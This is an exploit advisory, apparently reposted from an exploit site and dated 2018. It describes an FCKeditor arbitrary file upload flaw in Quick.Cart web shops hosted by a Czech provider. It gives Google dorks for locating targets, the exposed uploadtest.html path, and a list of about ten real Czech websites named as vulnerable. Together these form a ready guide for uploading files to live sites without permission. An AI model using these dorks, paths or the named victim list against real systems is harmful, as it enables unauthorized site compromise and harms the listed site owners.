facebook facebook twitter rss

Powered by Quick.Cart & HOST[24] - profi hosting za 24,- Univex.Cz Fckeditor Arbitrary File Upload Vulnerability

Author: KingSkrupellos , Published: 10-10-2018
# Exploit Title : Powered by Quick.Cart & HOST[24] - profi hosting za 24,- Univex.Cz Fckeditor Arbitrary File Upload Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Vendor Homepage : opensolution.org ~ univex.cz ~ host24.cz
# Google Dorks :
intext:''Copyright © 2008 www.univex.cz''
intext:''Powered by Quick.Cart & HOST[24] - profi hosting za 24,-'' site:cz
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
# CWE-264 [ Permissions, Privileges, and Access Controls ]
# CXSecurity : cxsecurity.com/ascii/WLB-2018060297

#################################################################################################

# Exploit : TARGET/fckeditor/editor/filemanager/connectors/uploadtest.html

# Path : TARGET/files/....

#################################################################################################

# Example Vulnerable Sites :

designbaterie.cz/fckeditor/editor/filemanager/connectors/uploadtest.html

letbalonem-darek.cz/fckeditor/editor/filemanager/connectors/uploadtest.html

strihanipsupardubice-salonamber.cz/fckeditor/editor/filemanager/connectors/uploadtest.html

krakonosuv-antikvariat.cz/fckeditor/editor/filemanager/connectors/uploadtest.html

iventilatory.cz/fckeditor/editor/filemanager/connectors/uploadtest.html

strihanipsupardubice-salonamber.cz/fckeditor/editor/filemanager/connectors/uploadtest.html

jn-models.cz/fckeditor/editor/filemanager/connectors/uploadtest.html

ardewo.cz/eshop/fckeditor/editor/filemanager/connectors/uploadtest.html

chalupaholubov.cz/fckeditor/editor/filemanager/connectors/uploadtest.html

seftrade.cz/fckeditor/editor/filemanager/connectors/uploadtest.html

################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################

Like us on Facebook :